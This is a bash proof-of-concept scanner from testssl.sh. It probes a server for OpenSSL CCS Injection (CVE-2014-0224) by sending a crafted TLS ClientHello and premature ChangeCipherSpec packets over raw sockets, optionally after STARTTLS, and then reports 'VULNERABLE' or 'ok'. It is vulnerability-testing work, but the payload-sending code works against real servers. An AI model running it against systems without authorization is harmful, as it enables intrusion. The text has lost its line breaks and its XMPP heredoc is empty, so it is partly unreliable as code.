#!/usr/bin/env bash # POC bash socket implementation of CCS Injection vulnerability in OpenSSL (CVE-2014-0224), # see https://www.openssl.org/news/secadv_20140605.txt # Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt # # sockets inspired by http://blog.chris007.de/?p=238 # mainly adapted from the C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607 # thx Ramon de C Valle # # handshakes from RFCs. Good source too: https://github.com/ioerror/sslscan/blob/master/sslscan.c # ###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! ####### readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' trap "cleanup" QUIT EXIT [ -z "$1" ] && exit 1 NODE="$1" PORT="443" JABBERNODE=${JABBERNODE} SLEEP=2 MAXSLEEP=10 OCKREPLY="" COL_WIDTH=32 DEBUG=${DEBUG:-0} HELLO_READBYTES=${HELLO_READBYTES:-65535} TLSV=${2:-01} # TLS 1.0=x01 1.1=0x02, 1.2=0x3 # the PoC contains per default only check for TLS1.0 as the is the least common denominator ccs_message="\x14\x03\x$TLSV\x00\x01\x01" client_hello=" # TLS header ( 5 bytes) ,x16, # Content type (x16 for handshake) x03, x$TLSV, # TLS Version x00, x93, # Length total # Handshake header x01, # Type (x01 for ClientHello) x00, x00, x8f, # Length client hello x03, x$TLSV, # TLS Version x53, x9c, xb2, xcb, # 4 bytes Unix time see www.moserware.com/2009/06/first-few-milliseconds-of-https.html x4b, x42, xf9, x2d, x0b, xe5, x9c, x21, # 28 bytes random bytes xf5, xa3, x89, xca, x7a, xd9, xb4, xab, x3f, xd3, x22, x21, x5e, xc4, x65, x0d, x1e, xce, xed, xc2, x00, # Session ID length x00, x68, # Cipher suites length xc0, x13, # ciphers come now, here: ECDHE-RSA-AES128-SHA = TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA xc0, x12, xc0, x11, xc0, x10, xc0, x0f, xc0, x0e, xc0, x0d, xc0, x0c, xc0, x0b, xc0, x0a, xc0, x09, xc0, x08, xc0, x07, xc0, x06, xc0, x05, xc0, x04, xc0, x03, xc0, x02, xc0, x01, x00, x39, x00, x38, x00, x37, x00, x36, x00, x35, x00, x34, x00, x33, x00, x32, x00, x31, x00, x30, x00, x2f, x00, x16, x00, x15, x00, x14, x00, x13, x00, x12, x00, x11, x00, x10, x00, x0f, x00, x0e, x00, x0d, x00, x0c, x00, x0b, x00, x0a, x00, x09, x00, x08, x00, x07, x00, x06, x00, x05, x00, x04, x00, x03, x00, x02, x00, x01, # TLS_RSA_WITH_NULL_MD5 x01, x00" # compression methods length (1) + Compression method(1) #msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'` msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n') parse_hn_port() { # strip "https", supposed it was supplied additionally echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' ` # strip trailing urlpath NODE=`echo $NODE | sed -e 's/\/.*$//'` # determine port, supposed it was supplied additionally echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'` echo -e "\n===> connecting to $NODE:$PORT\n" } debugme() { [[ $DEBUG -ge 2 ]] && "$@" } wait_kill(){ pid=$1 maxsleep=$2 while true; do if ! ps $pid >/dev/null ; then return 0 # didn't reach maxsleep yet fi sleep 1 maxsleep=$((maxsleep - 1)) test $maxsleep -eq 0 && break done # needs to be killed: kill $pid >&2 2>/dev/null wait $pid 2>/dev/null return 3 # killed } starttls_just_read(){ echo "=== just read banner ===" cat <&5 & wait_kill $! $SLEEP } socksend() { data=`echo $1` echo "\"$data\"" echo -en "$data" >&5 & sleep $SLEEP } sockread() { [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2 ret=0 ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7 dd bs=$1 of=$ddreply count=1 <&5 2>/dev/null & wait_kill $! $maxsleep ret=$? SOCKREPLY=$(cat $ddreply) rm $ddreply return $ret } # arg1: string to send # arg2: possible success strings a egrep pattern, needed! starttls_line0() { reply=$(mktemp /tmp/reply.XXXXXX) || return 7 debugme echo -e "\n=== sending \"$1\" ..." echo -e "$1" >&5 dd bs=1024 of=$reply count=32 <&5 2>/dev/null & wait_kill $! $SLEEP debugme echo "... received result: " cat $reply if [ -n "$2" ]; then if egrep -q "$2" $reply; then debugme echo "---> reply matched \"$2\"" [ $DEBUG -eq 0 ] && rm $reply return 0 else debugme echo "---> reply didn't match \"$2\", see $reply" fixme "STARTTLS handshake problem" exit 1 fi fi } starttls_line1() { echo "$1" >&5 while true; do read line <&5 echo $line break done } fixme(){ tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0 } ok_ids() { echo tput bold; tput setaf 2; echo "ok -- something reset our ccs packets"; tput sgr0 echo exit 0 } fd_socket(){ local jabber="" if ! exec 5<> /dev/tcp/$NODE/$PORT; then echo "`basename $0`: unable to connect to $NODE:$PORT" exit 2 fi case "$1" in # port 21) # https://tools.ietf.org/html/rfc4217 starttls_just_read starttls_line0 "FEAT" "211" #starttls_line0 HELP "214" starttls_line0 "AUTH TLS" "successful|234" ;; 25) # SMTP, see https://tools.ietf.org/html/rfc4217 starttls_just_read starttls_line0 "EHLO testssl.sh" "220|250" starttls_line0 "STARTTLS" "220" ;; 110) # POP, see https://tools.ietf.org/html/rfc2595 starttls_just_read starttls_line0 "STLS" "OK" ;; 119|433) # NNTP, see https://tools.ietf.org/html/rfc4642 starttls_just_read starttls_line0 "CAPABILITIES" "101|200" starttls_line0 "STARTTLS" "382" ;; 143) # IMAP, https://tools.ietf.org/html/rfc2595 starttls_just_read starttls_line0 "a001 CAPABILITY" "OK" starttls_line0 "a002 STARTTLS" "OK" ;; 389) # LDAP, https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511 fixme "LDAP: FIXME not yet implemented" exit 1 ;; 674) # ACAP = Application Configuration Access Protocol, see https://tools.ietf.org/html/rfc2595 fixme "ACAP: FIXME not yet implemented" exit 1 ;; 5222) # XMPP, see https://tools.ietf.org/html/rfc6120 starttls_just_read # following would be without hostname, jabber.org doesn't need it, others do! #starttls_line0 "\r\n" [ -z $JABBERNODE ] && JABBERNODE="$NODE" # as ioerror says: $NODE is not always the correct one, some jabber implementations need a special hostname! # supply $JABBERNODE in ENV and you're set, like: DEBUG=2 JABBERNODE=google.com ./heartbleed.bash talk.google.com:5222 jabber=$(cat < EOF ) starttls_line0 "$jabber" starttls_line0 "" "proceed" # BTW: https://xmpp.net ! ;; 443|995|993|465|*) # we don't need a special pre-command here ;; esac echo } close_socket(){ exec 5<&- exec 5>&- return 0 } cleanup() { close_socket } #### main parse_hn_port fd_socket $PORT echo "##### sending standard client hello with TLS version 03,$TLSV:" socksend "$msg" $TLSV sleep 1 sockread $HELLO_READBYTES echo "##### reading server hello ($HELLO_READBYTES bytes):" if test $DEBUG ; then echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10 echo "[...]" echo fi if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0 exit 1 fi echo "##### sending ccs injection payload with TLS version 03,$TLSV (1)" socksend "$ccs_message" $TLSV || ok_ids sleep 1 echo "##### sending ccs injection payload with TLS version 03,$TLSV (2)" socksend "$ccs_message" $TLSV || ok_ids sleep 1 sockread 65534 echo echo "###### reply: " echo "=============================" echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20 echo "=============================" echo reply_sanitized=$(echo -e "$SOCKREPLY" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//') test $DEBUG || echo $reply_sanitized lines=$(echo -e "$SOCKREPLY" | xxd -c32 | wc -l) test $DEBUG || echo $lines if [ "$lines" -gt 1 ] || [ "$reply_sanitized" == "0a" ] ;then tput bold; tput setaf 2; echo "ok"; tput sgr0 ret=0 else tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0 ret=1 fi echo exit $ret # vim:ts=5:sw=5:expandtab # $Id: ccs-injection.bash,v 1.9 2015/07/06 20:01:49 dirkw Exp $